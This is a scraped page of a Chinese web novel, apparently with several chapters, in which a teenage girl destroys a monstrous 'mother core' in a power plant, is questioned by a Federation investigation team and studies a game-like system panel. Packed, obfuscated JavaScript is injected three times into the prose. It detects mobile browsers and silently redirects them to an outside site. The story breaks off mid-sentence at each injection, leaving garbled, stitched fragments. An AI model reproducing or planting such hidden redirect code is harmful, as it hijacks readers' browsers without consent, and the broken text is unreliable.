l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943244|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玻璃电子屏后面的锁芯露了出来。 辛来伸手一掏,门立刻就开了。 里面的空气像野兽般扑了出来,黏腻、炽热、潮湿,像是有人在一个巨大的密封罐里倒了整缸腐烂的垃圾发酵,再用高温催熟。 灯光昏暗,视线被蒸汽和模糊的热气干扰,整间反映室仿佛笼罩在半透明的膜里,湿漉漉的墙壁反射着微光。 “这儿像个温室。”杜琛低声嘀咕,“可是……这不是发电厂吗?” 辛来没回答。 脑子的警铃再次疯狂作响。 里面很大,但似乎也很空旷,隐约可以看见三台顶天立地的反应炉,还有挂在天花板上的…… 杜琛:“灯还挺有艺术感的。” 有一个个大大小小的灯泡挂在天花板上,透过走廊的昏暗灯光看,好像一个个圆鼓鼓的黑影。 杜琛在门边摸索了半天,找到了一个闸门,往上一拉,灯开了。 灯开的一瞬间,杜琛“哇”的一声吐了出来。 天花板上挂着的......那根本不是灯泡。 那是一颗颗巨大的、半透明的......仿佛虫卵一样的物质。 乳白色的卵壁下,能看见无数蠕动着的白色肉块,咔哧咔哧的声音从四面八方传来,像是微型切割机在碾磨骨头。 几只破裂的虫卵下方,蛆状幼虫正大口啃噬着卵壳,白色的体节一张一合,发出湿滑黏腻的声响。 反应炉黑黢黢的。 可仔细一看,那黑黢黢的东西竟然在动,嗡嗡的,好像昆虫振翅,又像是在啃噬着什么东西,让耳膜非常难受,甚至心跳开始加快。 呼吸困难,精神恍惚,空气变得粘稠。 杜琛抽了抽鼻子:“我好像闻到了一股味道。” 辛来一愣,还未待她出声,杜琛又说:“有股烤肉味……孜然的,好香,是羊肉吗?还是牛肉?轰炸大鱿鱼?” 他咽了咽口水,脚步不由自主地往前迈了一步。 刚才还吐得上气不接下气的杜琛现在竟满脑子想着吃,他脸色苍白,在眼镜片的反光下,眼神竟透露出一种说不上的迷离感。 辛来忽地注意到了他肩头的红斑。 红斑的颜色比刚才更深了,暗红色像墨水一样扩散开来,边缘微微泛起了暗绿,甚至能看到皮下扭曲成细细的丝线的血管。 ——愈合剂没起作用? 可伤口都愈合了啊? 杜琛痴痴地笑着,一边念着“烧烤、啤酒、饮料”,一边缓缓往前走去。辛来心下一紧,一巴掌抽了上去。 “醒醒!” 杜琛一个激灵,瞳孔重新对上焦距。他缓了一会儿,忽然脸色惨白,“哇”一声吐了出来:“我的妈我居然想吃东西……我、我在想什么!!” 杜琛的反应很奇怪,辛来不知道发生了什么,也不知道会发生什么。她唯一能够确定的是,这一定......一定和这间核心反映室有关。 母核......哪个是母核? 是不是摧毁母核就能“通关”? 她和杜琛......能杀死母核吗? 不......现在不是考虑“能不能”的时候。 他们没有选择。 他们只能够考虑一个问题—— 怎么杀。 天花板上破开的卵巢留着黏液,黏液沿着墙壁往下淌,发出轻微的“咔哧咔哧”声。 辛来把杜琛往身后扯了扯,抓着消防罐缓缓往前,天花板上的虫卵密密麻麻让人头皮发麻。 三台巨大的反应炉呈三角形矗立,通体暗红,像是在高温中被反复炙烤的金属。而那中间—— 有一道巨大的裂缝。 一个巨大的、半透明的蛹静静地伏在那里。 蛹壁如呼吸般缓缓鼓胀,鼓胀时呈现出隐约的红色光芒,收缩时恢复成死白色。每一次鼓动,空气中的味道便浓郁一分。 那东西...... 那东西似乎有一张人类的脸。 下巴紧绷,嘴唇开裂,五官像被揉皱的纸巾一样分布在蛹壁内部,仿佛人类的婴儿,又像是垂垂老者。 它没有睁眼,但嘴唇一张一合,仿佛在呢喃。 “饿……” 杜琛忽然又低声说。 辛来的后背瞬间绷紧,侧头看向他。 杜琛双眼微微上翻,鼻翼张合,嘴唇发白,呼吸声变得急促而断续,整个人像是被看不见的线牵着,朝那蛹一步步走去。 “饿啊……” 辛来扣住杜琛的手腕,拼命往后拽。 杜琛像是被蛊惑了一般,嘴里喃喃:“它在叫我……它说很饿……它说让我…去喂它……” 蛹壁微微颤动,仿佛感应到有人靠近。 下一秒,那张脸忽然睁开了眼睛。 〖警告:精神屏障受损〗 〖警告:精神力不足0.1时将视为脑死亡〗 〖精神力残留值:10/[100]〗 〖9.9/[100]〗 〖9.8/[100]〗 〖…〗 辛来:...... 7. 母巢 辛来想骂人,但一时半会儿不知道该骂谁。 是骂杜琛早上提了一嘴“NPC”和“游戏”导致她脑子开始变得不正常,还是该骂西装男死得太轻易导致她拿到了那个破“系统”,或者该骂自己竟然就为了个小小的保安岗非得硬着头皮往发电厂里闯。 也可能该骂自己怎么中午没吃饭就敢来面试......好饿—— 脑子里闪过炸鸡、孜然烤羊肉、甚至昨天从街边小摊路过时闻到的油炸蝗虫味道。 辛来下意识舔了舔嘴唇,眼前那颗蠕动着的母核忽然变得……诱人起来。 “......!” 她猛地甩头,扬手朝自己脸上扇了一巴掌。 火辣辣的疼痛让神智稍稍清明。她再看向母核时,那种荒诞的食欲感减退了一些,可意识依旧感到浑浑噩噩——必须速战速决。 系统提示的精神力残留值在以几乎每秒0.1的速度往下降,并且似乎速度越来越快。 精神力不足1则脑死亡,辛来毫不怀疑,脑死亡也就意味着她会自己走向母核,就像杜琛那样—— 辛来定睛一看——杜琛已经走出数米,正朝着母核的方向走去,嘴角挂着一丝涎水,脸色苍白,神情恍惚。 辛来冲过去,一把扣住杜琛的手腕,拼命往后拽。杜琛却像被看不见的绳索拉扯着,根本拽不动。 “杜琛!醒醒!!” “饿......好饿......” 辛来心头一寒。理智告诉她必须舍弃这个拖油瓶,可—— 辛来心里默念了句“对不起”,抡起消防罐,狠狠砸在杜琛后脑。 “砰!” 杜琛闷哼一声,眼睛翻白,瘫倒在地,脸颊一头埋进地面黏稠的虫尸堆中,黏液爆开。 辛来默默移开了目光。 起码晕过去比被吃掉好。 〖精神值:7.5/[100]〗 空气愈发黏稠,顶上的虫卵开始簌簌作响,米粒大小的白色蛆虫从卵壳中探出脑袋,随后扑簌簌地坠下,落地时发出湿滑的“啪嗒”声。 辛来屏住了呼吸。 蛆的表面覆盖着从蛹里带出的黏液,黏液尚未退去,它们还没有发现辛来,只是耸动着面部的小孔一点点嗅闻着味道,探起了脑袋。 精神值还在下降。 7——如果“系统”说的是真的,小于1就会脑死亡,那么她只有不足3分钟的时间去杀死母核。 不能再拖了。 人可能只有在快死时才能激发无尽的潜力:刚才在电车里是这样,现在也是同样。 辛来也不知道自己哪来的那么大勇气——明明平时看到个蟑螂都吓得半死——蟑螂炒一下会好吃吗?撒点十三香,干辣椒...... “呸呸呸!” 脑子里的警告还在持续不断,精神值从每秒减0.1变成了每秒0.3,现在已经掉到了4.5。 婴儿似的母核隔着薄膜朝她看着,它的眼睛像复眼,皮肤像蛆,每一条褶皱上都布满了黑色的绒毛。 它那苍蝇似的嘴巴一张一合,仿佛在说什么...... “过来......过来...请假......请假......生日...” “请假...生日......女儿...请假......” “请假......迟到...迟到......刷不开...” “怎么刷不开呢......怎么刷不开呢......” 一声接着一声,一下叠着一下。从一道尖锐的声音到两道,再到仿佛有数十上百的人一同开口,嗡嗡隆隆,绵绵不停。 辛来猛然一身冷汗。 什么对策什么办法,通通没时间考虑,再不弄死母核,死得就是她了! 辛来拔腿朝母核冲去。 脚步声惊动了蛆虫群,无数白色蠕虫一瞬间抬起头,旋即齐刷刷朝她冲来。那密集的蠕动画面让人头皮炸裂,辛来想都不想,扬手打开消防罐阀门。 白色干粉喷涌而出,瞬间覆盖了地面和空气。 嗡鸣声戛然而止。 母核的复眼被白雾遮住,微微收缩,鼓胀的蛹壁上鼓起一道道筋线,像是被干扰的心脏。 是这个! 精神力下降速度明显放缓,辛来脑中灵光一闪—— 是视觉引导的精神侵蚀。 只要母核看不清猎物,就无法准确施加精神力攻击! 〖精神值:3.5/[100]〗 快到了......快到了! 系统的提示像催命符,一点点播报着死亡倒计时。 消防罐剩下的干粉不多了,喷涌的气柱变得断断续续,母核的复眼逐渐重新聚焦,开始寻找干粉背后潜藏的目标。 辛来一头扎进干粉之中,冲向那团血红的、鼓动着的母核。 〖精神值:2.1/[100]〗 白雾渐淡,黑色的复眼再次显露,齐刷刷地盯住了她。 ——到了! 辛来攥紧了消防罐,高高扬起—— 〖精神值:1.5/[100]〗 母核的蛹壁裂开一道缝隙,肉色的触须从裂口中伸出,带着血色黏液,径直朝她刺来。 ——要被钉穿了! 辛来来不及闪避,拼尽全力抡下消防罐。 “砰!” 消防罐重重砸在蛹壁中央,蛹壁剧烈收缩,血液和黏液四散喷涌,触须抽搐。 母核内传来撕裂般的惨叫声,像是数千只昆虫翅膀同时振动,震得辛来眼前一黑,身体一晃,单膝跪在了地上。 〖精神值:1.2/[100]〗 蛹壁鼓胀,裂开,露出里面盘踞着的深紫色核心——那是母核的......心脏? “怎么刷不开呢!我只是迟到了三分钟!怎么刷不开呢!” “怎么刷不开呢!饿...饿...怎么刷不开呢——” “饿、饿——好饿!好饿!” 〖精神值:1.1/[100]〗 辛来呼吸急促,感觉喉咙火辣辣的。 ……火? 她低头看向手里的消防罐。 ——还有个阀门。 辛来咬着牙,拧开安全阀,将消防罐狠狠砸向核心。 干粉罐撞击母核核心的瞬间,金属摩擦生出的火花点燃了泄露的气体。 轰——! 火焰翻涌而起。 滚烫的热度燎到身上,辛来借力往后一跳,忍着全身上下尖锐的疼痛,努力逃离火苗的范围。 刺耳的尖叫声骤然响起,此起彼伏。 空气变得滚烫。 精神力的警报不知道什么时候消失了,辛来站在原地喘着粗气,一动也没法动。 成功了吗......? 成功了吧。 要是不成功的话...她也没力气再努力了。 四周的蛆虫像是瞬间失去了力气,高昂着的头颅缓缓软榻下去。 有几只还在奋力挣扎,鼓动着身子,试图往火焰处爬,却也很快没了动静,一点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这玩意儿还有主线任务的!? 保护地球......你确定你不是在写考试作文??保护地球人人有责? “我还热爱学习天天向上呢......” 倒计时未知就算了,她差点要死在这,任务进度竟然才0.1%,辛来甚至感觉到了这个游戏系统写在脸上的“敷衍”二字。 忽地,有脚步声靠近。 两名穿着蓝色制服的人端着枪冲了进来,枪口齐齐指向了她......和刚从地上爬起来的杜琛。 杜琛显然不在状况,满脸糊着的都是黏浆,龇牙咧嘴地捂着头爬起来,一瞅见那黑洞洞的枪口,吓得又昏了过去。 来人戴着护目镜和防毒面罩,制服外套着的银色胸盔上刻着个图纹——一棵枝繁叶茂的树。 辛来眼皮一跳。 尽管他们的打扮和装备和联邦警察不太一样,但很显然......这是联邦的人。 辛来:......完犊子。 怎么忘了这茬了! 其中一人冷声开口:“保持不动,双手抱头。” 8. 调查组 作为遵纪守法的三好公民,辛来这辈子都没进过审讯室——尽管这好像也不算是审讯室。 这充其量不过是一个铁皮房间,中间放着一张铁皮桌,对面坐着一个带着护目镜和防毒面具的、看不清面孔的人而已。 整个房间里看不见一个监控摄像头,辛来却有种被无数双眼睛注视着的感觉。 但想来也正常。 这栋高达103层的大楼是联邦设立于港城区的事务处理分区。 整个大厦里都是克雷特的“眼睛”,而那“眼睛”根本不需要以寻常监控摄像头的方式展列出来。 上方和右侧的墙面跟其他墙面颜色不同,一眼便能看得出那后面肯定是站了人,而扣在手腕上的铁圈,则是判定是否撒谎的仪器。 呜呜......还是像审讯。 现在的情况,除了“坦白从宽抗拒从严”之外,辛来想不到其他任何更贴切的解释。 “有个人在车上死了。” “我搞坏了车玻璃。” “炸了个站台服务机器人。” “烧了一截电车......” 辛来不敢抬头,只顾着埋着头数着胳膊上到底贴了几张芯片。 两张方的,四张圆的,手环一个,线圈二十二条。 仪器缓慢闪烁着蓝光,探测芯片从手腕一路贴到了太阳穴,线缆像植物的藤蔓一样蜿蜒缠绕,最终汇聚到桌上的铁皮仪器里。 空气中弥漫着淡淡的消毒水味,仿佛要把所有残留的异味和污秽全都抹掉—— “还逃票了。”辛来说。 “还搞坏两个锅炉,三根管道,炸了个反映室......” 越往下说,辛来声音越小,说到最后,连呼吸都变得小心翼翼。 对面的人却一直沉默不语。 辛来心虚得很,努力回忆自己是不是还有哪件坏事没招供,挖空心思想了半天,才唯唯诺诺道:“我还砸坏了个防火箱。” 铁皮仪器“哔”了一声。 “我去,竟然没事?”对面的人低声嘀咕,声音被防毒面罩遮掩,雌雄莫辨,但语气中那点发自灵魂的困惑和震惊可毫无掩饰。 接着,那人突然站了起来,两只硕大的护目镜“唰”一下怼到辛来面前,镜片后是一双瞪得溜圆的眼睛。 “你现在有什么感觉没有?” 辛来:“......啊?” “眩晕,呕吐,精神恍惚,白日做梦......你看我长得像什么?” 辛来:“......?” 辛来被对方的话问得一懵一懵又一懵,一时间不知道自己应该是如实回答还是应该顺着对方的意思来。 如实回答的话,他带着眼镜和防毒面罩的样子像个大苍蝇头,但她刚刚才看过真正的苍蝇头,所以说人像个苍蝇好像也没那么贴切; 可如果顺着对方的意思来的话...... 她怎么知道他什么意思啊!? “您长得像联邦警察。”辛来老实说。 对方很显然想听到的不是这个答案:“我是说,你觉得我长得像怪物吗?比如跳舞的猪?裸.奔的老鼠?拉手风琴的乌鸦?” 辛来:......我看你像有那个大病的人。 但她没敢这么说。 “擦伤十二处,中伤两处,小指脱臼——均已修复......精神健康C,身体健康B-。”对面那人又开始第无数遍的小声嘀咕,“克雷特,你确定这些数值无误?” 铁皮盒子的绿灯闪了闪,盒子里出现了一道无机质的声音:“数值正确无误,建议解除隔离模式。” 对面的人沉默了。 他又隔着眼镜片看了辛来好几秒,才不情不愿地关掉了铁皮盒子里的一排开关,挨个撕下辛来的芯片。随后,摘下了护目镜和防毒面罩。 面罩下是一个女孩的脸。 短发,大眼睛,看起来二十来岁,但按照她同伴对她一口一个“姐”的称呼,很显然她肯定不止这个岁数。 “你刚才说是你炸掉了核?”她又问了一遍。 辛来被她问得有点不自信了:“不确定......可能吧。” “你知不知道,负相区里,像你们这种没有佩戴屏蔽设备的,会被高度侵染,精神和□□都会出现问题,甚至可能造成死亡?” 辛来:“您刚才说了三遍了......” “你朋友的精神屏障受到严重损害,需要住院诊疗,但你只是轻微伤及神经末梢,并未受到很大程度的影响。” 辛来:“这个您也说了两遍......” 女人张了张口,似乎在组织语言,可想了半天,最后还是选择破罐子破摔:“你精神力和身体能力明明那么普通那么平庸,两项数值都在C级以下,到底是怎么做到的……” 辛来:“……” ——我谢谢你。 还这么郑重地强调一下。 “你确定你现在没有任何异常?” 辛来:“我......” 对面的女人瞪大了眼睛,一脸渴盼。辛来犹豫了会儿,还是如实说道:“有点困。” 女人:“......” 房间墙上的电子钟显示的时间是23点47,从那几个人闯入反映室把辛来和杜琛带走一直到现在为止已经过去了八个小时—— 对,时间开始正常流动了。 从“母核”被破坏的那一刻起,一切都恢复正常了。 身体检查花了四个小时,身份检查花了两个小时,最后被带到这个审讯室,又耗了两个小时。 尽管联邦提供的愈合剂是超强功效的,比那些免费的药剂要好上数倍,伤口瞬间愈合的同时还能缓解精神疲劳,但这也不代表着打了那个针就可以不睡觉。 大概是看实在是找不出什么新鲜东西了,女人终于放弃了。 她皱着眉又看了辛来几眼,才拿着遥控器关掉了右手边的观察镜。 灰黑的镜面变为了透明,外边齐刷刷地站着四个穿着白大褂的人。 其中一人进屋把铁皮盒收了走,穿白大褂的齐刷刷地拎着箱子出了房门,女人才叹了口气,说:“我是联邦调查组A组组长,李明蕊。” 辛来不确定自己是不是还需要自我介绍。 “你是E级公民吧?”李明蕊问,“下个月就成年了?” 但这显然不是个真的要问的问题,毕竟身份检查的那两小时里,辛来的过往都已经被扒了个底朝天。 “你知道联邦的学业补助金只发放到十八岁整吗?” 辛来:“......知道。” 李明蕊:“我刚才说过,你今天去的发电厂,是被‘伪态生物’高度侵蚀,已经形成了D级负相区——也就是异空间——你也明白了?” 辛来努力消化了一下这么长一段句子,点了点头:“明白。” 李明蕊:“火力发电厂在半年前已经停工,你会收到邮件,是伪态生物在既定的时间线内发送的。” 很明显,李明蕊说的这些都是在铺垫,辛来干脆懒得应声了,只点了点头。 “这就意味着,你其实——并没有接到任何面试通知,也没有任何一个‘保安’岗在招聘。” 李明蕊顿了顿,见辛来连点头都懒得点了,干脆直接开门见山:“联邦秘密调查组需要人手,你愿意来吗?” 辛来:“......?” . 李明蕊给了辛来七天时间考虑。 “虽然你精神力一般,体力一般,智力也一般,但似乎不会轻易被伪态生物影响。” 当时的李明蕊睁着纯真的圆眼睛用一句话连凿了辛来三个大榔头,很快又递上了一大框蜜枣:“联邦秘密调查组没有门槛,待遇从优。每月底薪三万邦加一个公民点,根据任务难易程度有下至一百邦上不封顶的提成。” 没等辛来说话,她又提了一句:“E级公民,很难找工作吧。” 最后这句话是陈述句。 辛来被完全戳中了软肋。 联邦给的学业补助金每学期只有三百邦,根本连房租都交不起。 辛来每天都在看招聘信息,却几乎找不到一个开放给E等级的工作——即使有,也不需要她这种未成年还没有工作经验的。 违法犯罪的不敢干,不违法的没得干。 李明蕊的橄榄枝,说实话……辛来十分心动。 但她得先消化一下。 一切发生的都太过突然,信息量也来得太过汹涌。 联邦调查组成立了两年半,而那些那些奇怪的、名为“伪态生物”的东西,却似乎存在了很久了。 调查组无法确定伪态生物具体是从什么时间节点开始出现的,但根据克雷特搜罗的资料显示,这些“变异物”的目击传言,几乎与人类文明的发展同步,早在几千年前就有所记载。 文明发展的代价是环境被污染,这一点,活在地球上的人谁都不可能不知道。 有关“污染会引起变异”的理论也频繁被各种小说戏剧提出,就连正儿八经的学术期刊都有所分析。 但至于这东西到的真实存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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酒瓶外面都掉了漆,有的上面还挂着烂泥,也不知道是从垃圾站的哪旮旯扒拉来的。 辛来绕开了前门,轻车熟路地从后面的通风管道爬上了二楼,沿着墙边的破洞钻进了楼道里。 走廊的灯闪得比夜店的迪斯科球还勤快。 楼里租户不少人都吵着说让换灯泡,这事吵了两年,但楼管那死抠的老头宁愿被政府追着罚款也不想管哪怕一下。 毕竟一年才罚款一次,一次两百邦;而B级公民购房外租奖励金一年可以领取两次,一次一千二——奖励金给的钱可比罚款多太多了。 幸好电梯还能用。 老破的电梯叽叽歪歪地爬上了四十八层,门一开,刚巧碰上个熟面孔——隔壁邻居正迎面走来。 男生估摸着二十出头,每天早出晚归,偶尔碰上……呃? 他们会偶尔碰上吗? 辛来懵了下,突然想不起来这个邻居平时都是干什么的了。 再仔细一回忆,她好像也不是很清楚对方叫什么,甚至仔细看他的长相,都觉得有点陌生。 ——靠,我不会真是NPC吧。 她茫然地盯着男生走过去,生锈的铁门一点点合拢,辛来茫然地又愣了会儿,最后还是放弃了,拖着脚步往家走去。 管他的呢。 她就算是NPC也需要睡觉。 回到家,辛来踢掉鞋子,扑通一声摊在床上,整个人像一条被晒干的咸鱼,连动一下的力气都没有。 被褥潮湿,贴在皮肤上有种挥之不去的霉味。她侧过身,裹紧被子,试图逼自己入睡,但脑子里却不受控制地开始回放今天发生的一切。 电车站的怪物、发电厂的母核、杜琛被蛊惑的样子、自己疯狂下降的精神力…… 她缓缓吐了口气,抬手揉了揉额角。 不行,睡不着。 视野右上角的光标微微亮起,辛来忽然想起来自己还没有仔细研究那个系统,对......对,还有那一堆光是听起来就很恶心的任务掉落物品。 正想着,系统突然自己弹了出来。几个闪着光的字出现在眼前: 〖是否将任务掉落转换为可用点数?〗 〖是〗〖YES〗 辛来:...... 这系统是不是没设计“否”这个选项啊!?? 9. 合同工 辛来盯着屏幕等了会儿,也没等到系统乖乖地把“YES”变成“否”。想来就算变成“否”,这东西说不定也会威胁她选了“否”就会怎样怎样。 辛来选了“是”。 意识刚一移动到“是”,电子屏立刻出现了横条雪花点,紧接着,提示更新了: 〖已转换任务掉落〗 〖新增可分配点数:40点〗 〖是否查看个人面板?〗 还有个人面板? 辛来好奇点了开,一长串发光的文字瞬间填满了整个视野范围。 〖用户名:辛来〗 〖年龄:17〗 〖公民等级:E〗 〖用户当前所在地:港城区〗 〖力量:10/[100]〗 〖精神:10/[100]〗 〖智力:10/[100]〗 〖未知:未知〗 〖技能〗 〖危险直觉:Lv5〗 〖精神抗性:Lv2〗 〖未知:未知〗 〖称号:未获得〗 〖可分配点数:40〗 ……且不说那些“未知”是怎么回事,光是看那一列惨不忍睹的身体数值,辛来的心就哇凉哇凉的。 怪不得人家调查组组长说她“普通”呢! 满分一百,她数值才10,那都不能说是普通,那就是个垃圾啊! 人李组长还给她留面子了呢! 是不是得亏了她技能栏里有一个2级的精神抗性,才没像杜琛一样刚进反映室就被击倒了啊! 可分配点数有40,也就意味着在转换任务掉落之前,就已经有20个点数了。 是哪里来的? 击杀Boss? ……也不是没可能。 一般游戏副本通关之后都会自动升级,就算是没有掉落物品,也一定会增加身体数值。这么一推论,似乎也挺合理。 辛来一边这么想着,一边狠狠唾弃了一下自己怎么这么轻易就开始接受这件事了。 ……就这样吧,作为初始智力只有10的低级NPC,无所谓了,完蛋吧,谁关心啊,爆炸吧这个世界。 辛来抹掉了一颗眼角不存在的眼泪。 她的目光又转回到了身体数值上。 两栏“未知”都是灰色的不可点击状态,辛来并不想现在思考这是什么。而力量、精神、智力......这三项倒是光看字就很浅显易懂。 只不过如果把点数都加在精神和智力上的话,她没法立刻试验这“系统”到底是真是假。 但如果是力量...... 〖已为您分配点数〗 〖力量:50/[100]〗 “......” 倒也没必要灵敏度这么高吧!?? 算了。 她不该对这个动不动就想让她“自爆”的系统有什么期待。 辛来认命,只能试图感受一下身体的变化,但等了半天,似乎也没什么显著的感觉。 联邦注射的高浓度愈合剂直接强力修复了伤口,精神修复剂则减缓了疲劳度,辛来现在甚至没办法从自己的身体状况去判断那个突然变到50的力量和往常有什么不同。 床板依旧冰凉,空气依旧湿,甚至天花板上的血渍都没有半点变化...... 血渍!? 辛来从床上弹了起来。 床板压着地板,地板发出了一声惨绝人话的“嘎吱”声。 楼下的租户破口大骂了句什么,紧接着就传来了叮叮咚咚捣天花板的声音。 辛来心虚地缩了缩脖子,蹑手蹑脚地掀开塑料帘,打开了洗手台上的灯。 灰白的荧光灯闪了几闪,被困在灯罩里飞不出来的虫因为忽然亮起的光而拼了命地振翅扑扇,黑影凌乱地交错着,让那本就有些接触不良的灯丝更加雪上加霜。 天花板上的血渍像黑色的墨迹,一大片一大片的呈喷溅状层层叠叠地布着。 不......不止是天花板,甚至墙壁、地板、包括那张阻隔了洗手台和床铺的塑料帘上都飞溅着血糜。 浓的稀的深色的浅色的血水与稀烂的肉糜混杂在一起,大部分没干涸,还在缓缓地往下滴着,而好巧不巧,就有那么一滴砸在了辛来的脸上。 血还有着热度,温温的。 而客厅的正当中,有一具白骨。 一臂长,半臂高,颅骨只有拳头大...... 辛来缓缓地“啊”了声。 ——她的狗。 这条狗是辛来前阵子收养的。 似乎是某一天,在她下课回家的时候发现的。当时她也就是跟它对视了几秒,这条狗就摇着尾巴跟着她回了家。 ……等一下。 “似乎......?” 这明明应该是几个月前发生的事情......也可能是几周前,辛来觉得自己的记忆似乎有那么一瞬间变得模糊不堪。 住在隔壁的邻居,楼管的长相,还有生活在一个屋檐下的狗......仔细一回想,具体的事情一件也记不起来。 辛来甚至没印象狗毛的颜色。 黑的白的?长毛短毛?公的母的? 屋子角落放着两袋未拆封的狗粮,狗粮旁是几支未拆的宠物用能量剂,还有全新的狗盆,一滴水也没放的水碗。 辛来盯着那具白骨,甚至没觉得自己的情绪有半点波动。 ……克雷特平时都是这种思考模式? 用代码组成的人工智能原来这么冷漠的吗? 那现在是什么情况? 真的是她这个NPC获取玩家系统觉醒自我意识? “玩家”们真的是从百年前的落后世界来的? 那这个世界......到底是真是假? 好多问题,脑子要炸了。 辛来沉默了许久,在第一百零一次确认自己好像真的不认识这条狗时,才缓缓去拿了个塑料袋,把那堆可怕的白骨给包了进去。 尽管外面就是垃圾场,楼道里依然设置了垃圾粉碎装置。 粉碎垃圾需要交付1邦币,辛来看了看自己只剩下两位数的余额,在亲自下楼去垃圾场一趟和给钱之间,果断选择了后者。 ……不想动。 太累了。 身体上虽然被愈合剂治疗了,但是精神上因为接收到了太多信息,一时半会儿缓不过来。 垃圾处理器闪了红光,从终端机里扣掉了一邦,张开了黑黢黢的嘴巴。 辛来把垃圾袋丢了进去。 “欢迎使用居民垃圾处理器。” “监测到:生物骨架157.5kg,能量剂空瓶52g,净水易拉罐20g。确认销毁?” 辛来的视线快速在“否”上停留了几秒——她从未有一刻觉得这个选项竟然看起来这么亲切——戳了屏幕下方的“是”。 垃圾处理器发出了一阵轰鸣,盖子合了上。 “垃圾处理中......” “垃圾处理失败。” “是否重试?” 辛来脚步一顿,回头看去。 垃圾处理失败......? 垃圾处理器还会出现处理失败的垃圾? 辛来犹豫了一下,再次摁了“是”。 “垃圾处理失败,是否重试?” “垃圾处理失败,是否重试?” 在辛来第五次不死心地重试之后,垃圾处理器发出了一道刺耳的警报声,接着“噗”的一下,黑色的垃圾袋被狠狠吐了出来。 口袋里的终端机震动了一下,刚才划走的那一邦又被退了回来。 垃圾处理器的屏幕上闪起了雪花点。 明明就是块普通的电子屏,辛来却莫名其妙看出了它脸上的几个大字:老子不干了。 辛来:老子才他爹的不想干了呢...... 可她没办法。 辛来苦哈哈地把垃圾袋给提了起来,正要往回走,忽地身后传来了一阵窸窣声。她背脊一寒,刚一回头,就对上了一双阴森森的眼睛。 是个老太太。 住四十八层走廊尽头,辛来不记得她叫什么,只记得自己搬过来时那老太太就住在这里了。 老太太浑浊的双眼也不知道是看得见还是看不见,每次被她注视着的时候,都觉得她似乎在看着自己,又似乎没在看。 发灰的眼白和发青的瞳孔多看一眼都觉得渗得慌,辛来小心翼翼地避开了目光。 老太太推着个旧婴儿车,很脏,上面的污渍层层叠叠,看起来都包浆了。 婴儿车里满是脏兮兮的废品:被机油浸湿的洋娃娃,还剩一半的营养剂,一束干枯的花,两盒过期人造奶,还有一大把形状各异的石头。 老太太忽地笑了一声。 她的笑声像是从嗓子眼里挤出来的,仿佛钢片刮着铁板,刺耳又尖锐:“铁齿咬不动魔女的骨头。” “什么......?” 辛来一愣,还没反应过来,老太太已经推着那辆嘎吱作响的婴儿车走了远。 就在这时,脑子里忽地“叮”了一声。 〖已领取世界掉落〗 〖未知的骸骨157.5kg〗 通知声一落,手里鼓鼓囊囊的黑塑料袋一下子就瘪了下去。 里面的空瓶相互碰撞发出了清脆的响声,伴随着老太太的关门声,显得站在走廊的辛来更像个茫然的傻子。 辛来:? ……等一下,什么东西?多少? 157.5…公斤?? 刚才这个数字跟后面两个按克计算的东西放在一起,拎起来时也不觉得有多沉,辛来理所当然的把后面那个计量单位看成了g。 直到这会儿,辛来才意识到发生了什么。 力量值这么立竿见影的吗!? 但未知的骸骨又是什么东西? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943247|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛来调出了道具面板。 〖持有道具〗 〖负相核心x1(暂不可使用)〗 〖未知的骸骨157.5kg(暂不可使用)〗 两个持有道具都显示灰色,既不可使用,也没法转换成点数。辛来盯着看了会儿,还是决定放弃。 ……算了。 要是什么东西都搞得一清二楚,那她那只有10的智商可会暴死的—— 没错,她智商只有10哎! 辛来不觉得自己有多介意,可是她智商只有10—— 虽然不知道系统里智商的评判标准和平时常说的有没有不同,但是这个明晃晃的“10”就是看起来比弱智的数值还低。 这么一丁点的智商如果考虑太多问题的话,脑子会死的。 辛来恶狠狠地把垃圾袋丢向了房间角落。 “咦……?” 辛来突然察觉到了不对劲。 屋里的血糜消失了。 没有奇怪的味道,没有血迹。 破床在房间正中,床脚的塑料布后面能看见洗手台。地板缝大的能种菜,里面却没有任何一点痕迹——刚才的狼藉仿佛是错觉。 那具骸骨还被系统收走了,辛来甚至没法通过尸骨来确认刚才的一切。 是刚才太累了产生了错觉?记忆紊乱出现了偏差?还是—— 还是游戏副本刷新之后地图重制? “呸!” 辛来想给自己一巴掌。 但她不想管了。 ——什么事情都明天再说吧。 系统也好,游戏也罢,哪怕她真的是NPC,这也不能解决辛来的账户上只剩下八十三邦这种迫在眉睫的问题。 穷是实打实的,饿也是实打实的。 摆烂就会没钱,没钱就会死,就算她只是一串代码,那眼下也应该先解决代码的生计问题。 “所以你决定好了?” 没有穿那身丑制服的李明蕊看起来比辛来还像个未成年。大概是眼睛太大,她仰着头看人的时候总让人觉得在卖萌。 “这才过去两天,你还有五天时间可以考虑呢。” 辛来点了点头。 “你要知道,调查组的任务大多十分凶险,我们有很多组员都留在了负相区,再也没能回来。” 